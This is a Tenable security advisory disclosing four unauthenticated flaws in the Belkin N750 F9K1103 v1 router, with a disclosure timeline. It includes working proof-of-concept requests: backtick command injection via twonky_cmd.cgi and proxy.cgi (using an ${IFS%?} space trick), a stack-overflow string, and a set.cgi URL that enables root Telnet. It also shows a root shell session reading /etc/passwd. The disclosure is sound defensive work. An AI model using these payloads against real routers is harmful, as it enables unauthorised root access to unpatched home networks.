Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Belkin N750 F9K1103 v1 Multiple Vulnerabilities

Critical

Synopsis

While following up on earlier research into Belkin's N750 F9K1103 v1 wireless router, Tenable found four new vulnerabilities. All the vulnerabilities are exploitable without authentication through the web interface.

CVE-2018-1143: Twonky Blind Command Injection

An unauthenticated user can execute commands via twonky_command.cgi by encapsulating the command in backticks. The following URL will execute the command ping 192.168.1.61:

http://192.168.1.175:8080/twonky_cmd.cgi?c=drive_added?path=/tmp/%60ping%20192.168.1.61%60

CVE-2018-1144: Proxy.cgi Command Injection

An unauthenticated user can execute commands via proxy.cgi by encapsulating the command in backticks and using ${IFS%?} when a space is required. The following proof of concept executes cat /proc/cpuinfo:

[email protected]:~$ curl 'http://192.168.1.175:8080/proxy.cgi?url=`cat$\{IFS%?\}/proc/cpuinfo`'
wget: not an http or ftp url: system type		: Ralink SoC
processor		: 0
cpu model		: MIPS 74K V4.12
BogoMIPS		: 249.34
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 32
extra interrupt vector	: yes
hardware watchpoint	: yes
ASEs implemented	: mips16 dsp
VCED exceptions		: not available
VCEI exceptions		: not available

unaligned_instructions	: 379

CVE-2018-1145: Proxy.cgi Stack Buffer Overflow

A stack buffer overflow occurs in libcfg.so when a remote unauthenticated user provides an long url parameter via proxy.cgi. The function EXEC_PROXY_CMD in libcfg.so does not validate that the url parameter's value will fit within a stack buffer before passing it to sprintf. An example request that triggers this vulnerablity follows:

http://192.168.1.175:8080/proxy.cgi?url=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2018-1146: Enabling Unauthenticated Telnet

By default the router has Telnet disabled. However, an unauthenticated remote user can enable Telnet using the following URL:

http://192.168.1.175:8080/set.cgi?n=TLNET_EN&v=1

At first this doesn't appear to do anything. However, when the router is rebooted unauthenticated Telnet will spawn on the LAN side of the router.

[email protected]:~$ telnet 192.168.2.1
Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '^]'.

BusyBox v1.7.2 (2016-10-12 10:13:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
# cat /etc/passwd
root::0:0::/:/bin/sh
bin:x:1:1:bin:/bin:
ftp:x:14:100::/mnt/shared:/bin/false
avahi:x:70:70:Avahi daemon:/:/bin/false
avahi-autoipd:x:71:71:Avahi autoipd:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
administrator:x:0:100:Administrator:/mnt/shared:/bin/bash

Solution

No solution currently exists.

Disclosure Timeline

07/07/17 - Tenable sends a writeup and PoC to [email protected]
07/07/17 - Belkin acknowledges receipt and confirms 3 vulns. Asks for more details on enabling telnet.
07/10/17 - Tenable explains to Belkin that the device needs to be rebooted in order for the telnet process to spawn.
07/12/17 - Belkin confirms the fourth vuln (enabling auth-less Telnet). Requests Tenable's public key.
07/12/17 - Tenable sends public key.
07/17/17 - Belkin informs Tenable that they are working with the OEM.
08/17/17 - Researcher pings Belkin on current status
08/17/17 - Belkin indicates a fixed firmware image has been produced but it needs to go through QA. Estimates 90 days until release. Belkin asks if Tenable plans on disclosing.
08/17/17 - Tenable confirms intention to disclose in the future.
11/07/17 - Tenable asks for an update.
11/07/17 - Belkin sends autoresponse that [email protected] is no longer being monitored.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io Vulnerability Management

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now and run your first scan within 60 seconds.

Buy Tenable.io Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.